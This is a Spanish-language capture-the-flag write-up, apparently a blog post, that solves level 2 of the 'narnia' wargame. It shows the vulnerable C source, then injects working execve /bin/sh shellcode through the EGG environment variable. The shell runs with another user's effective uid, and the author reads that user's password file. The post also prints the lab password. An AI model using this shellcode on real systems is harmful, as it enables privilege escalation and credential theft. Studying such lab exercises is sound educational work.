Seguimos con la resolución de este ‘sencillito’ wargame. Si bien el nivel anterior era para empezar a sentir el cosquilleo del desbordamiento de búfer con un sencillo ejercicio, en este nivel se pide introducir datos para ejecutar.

LEVEL2

Igual que en el nivel anterior, ejecutamos /wargame/level2 y nos dice lo siguiente:

Give me something to execute at the env-variable EGG

Como no está muy claro, vamos a ver si el código nos lo aclara.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        int (*ret)();
 
        if((ret=getenv("EGG"))==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }
 
        printf("Trying to execute EGG!\n");
        seteuid(1003);
 
        ret();
 
        return 0;
}

Lo que hace el código es declarar un puntero a función, apuntarlo hacia lo que le enviemos en la variable de entorno EGG y ejecutarlo. Así que lo que debemos hacer es poner algo ejecutable en EGG o, de lo contrario tendremos el tan temido segmentation fault.

Por un tiempo quise generar el código yo mismo. Incluso cogí el libro del ‘deep C secrets’ para ver cómo hacerlo. Pero finalmente pensé que era más sencillo copiar el código de algún sitio. Buscando ‘shellcode’ llegué a esta página.

En cualquier caso, os recomiendo que leáis la página que es muy formativa.

Pillando el shellcode del epígrafe “The execve examples number I (no arguments):” lo podemos cargar en la variable EGG y lanzar level2. Y así conseguir ejecutar /bin/sh con effective uid level3.

level2@narnia:/wargame$ EGG=`echo -e "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42"` ./level2
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
Ieng#um4

Y esta es la contraseña del próximo nivel, que empieza a complicarse.